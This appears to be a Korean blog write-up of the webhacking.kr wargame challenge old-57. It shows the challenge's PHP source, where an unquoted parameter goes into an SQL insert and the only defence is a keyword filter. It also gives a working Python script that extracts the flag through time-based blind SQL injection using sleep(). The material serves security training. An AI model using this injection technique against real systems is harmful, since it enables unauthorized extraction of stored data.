반응형
문제
message에 입력하고 제출하면 Done 화면이 출력되고, db에 추가된다.
<?php
include "../../config.php";
include "./flag.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
$db = dbconnect();
if($_GET['msg'] && isset($_GET['se'])){
$_GET['msg'] = addslashes($_GET['msg']);
$_GET['se'] = addslashes($_GET['se']);
if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
echo "Done<br><br>";
if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
}
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>
문제풀이
GET 방식으로 msg와 sg 값이 전송되는데, msg는 message에 입력하는 값이고, se는 secret의 라디오 버튼 값이다.
값이 올바르게 전송되면 Done이 출력된다.
필터링 문자 중 benchmark가 있는데, 이는 time-based sql injection에 사용되는 함수이다.
time-based sql injection을 통해 플래그 값을 획득하면 될 것 같다.
import requests
import time
cookie={'PHPSESSID':''}
url="https://webhacking.kr/challenge/web-34/index.php?msg=1&se="
# flag_len
flag_len=0
for i in range(50):
query="if(length(pw)={},sleep(5),1)".format(i)
pre_time=time.time()
res=requests.get(url+query, cookies=cookie)
if (res.text.find("Done")!=-1):
cur_time=time.time()
if cur_time-pre_time>=5:
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="if(ascii(substr(pw,{},1))={},sleep(5),1)".format(i,j)
pre_time=time.time()
res=requests.get(url+query, cookies=cookie)
if (res.text.find("Done")!=-1):
cur_time=time.time()
if (cur_time-pre_time>=5):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-60 (0) | 2023.01.15 |
---|---|
[Webhacking.kr] old-59 (0) | 2023.01.14 |
[Webhacking.kr] old-56 (0) | 2023.01.10 |
[Webhacking.kr] old-55 (0) | 2023.01.10 |
[Webhacking.kr] old-54 (0) | 2023.01.09 |